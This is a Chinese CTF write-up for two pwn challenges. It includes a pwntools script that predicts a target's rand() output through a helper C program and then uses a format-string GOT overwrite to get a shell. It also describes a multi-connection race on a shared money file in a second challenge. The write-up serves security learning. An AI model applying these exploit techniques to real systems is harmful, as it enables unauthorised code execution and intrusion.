ikun下载
人生重开下载
ikun——随机数的应对,双程序的应用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import *
context(log_level = "debug",arch = "amd64",os = "linux") elf=ELF("./ikun") puts_got = elf.got["puts"] shell=elf.sym["realback"] print(hex(shell)) offset = 12 print(hex(shell)) payload2 = fmtstr_payload(offset, {puts_got: shell}) s=process("./suiji") p=process("./ikun") payload1="kunaaaaaaaa@" p.send(payload1) p.recvuntil("@") sand = u64(p.recvuntil('\x64')[-6:].ljust(8, b'\x00')) s.sendline(str(sand)) for i in range(114): t=s.recvline() p.sendafter("do:(c/t/r/l)",t) s.sendline() p.sendafter("Input what you want to say",payload2)
p.interactive()
|
suiji为自行编写的c程序,代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| #include <stdio.h> #include <stdlib.h> #include <time.h>
int main() { unsigned int seed; int random_number; int i; scanf("%u", &seed); getchar(); srand(seed); for (i = 0; i <= 113; ++i) { random_number = rand() % 4; if (random_number == 0) { printf("%c\n", 'c'); } else if (random_number == 1) { printf("%c\n", 't'); } else if (random_number == 2) { printf("%c\n", 'r'); } else { printf("%c\n", 'l'); } getchar(); } return 0; }
|
使用这样的程序嵌套,可以避免被一些绕过性的问题打断脚本
人生重开模拟器——调用文件时多次服务器连接造成漏洞
有三个函数调用了一个文件,漏洞就出自这里,由于在同一个端口,所以nc服务器以后会使用同一个文件,可以巧妙地利用文件操作,使其中一个窗口的钱数超过200万
初始钱数,这个函数会将money.txt中的钱置零,所以在使用多个窗口时,要先触发这个函数,跳过以后再执行
这个函数会根据参数增加钱数,保存到文件中
思路:
开20个窗口,全部进行到取名字以后
如果出现“你爸爸告诉你家里面很有钱”,直接把这个窗口关掉,不然会导致扣掉一百万
出现其他的字样,保留
随后我们就可以在剩余的窗口里面赚钱(初始的钱数也会叠加)
钱到达200万,创业,get shell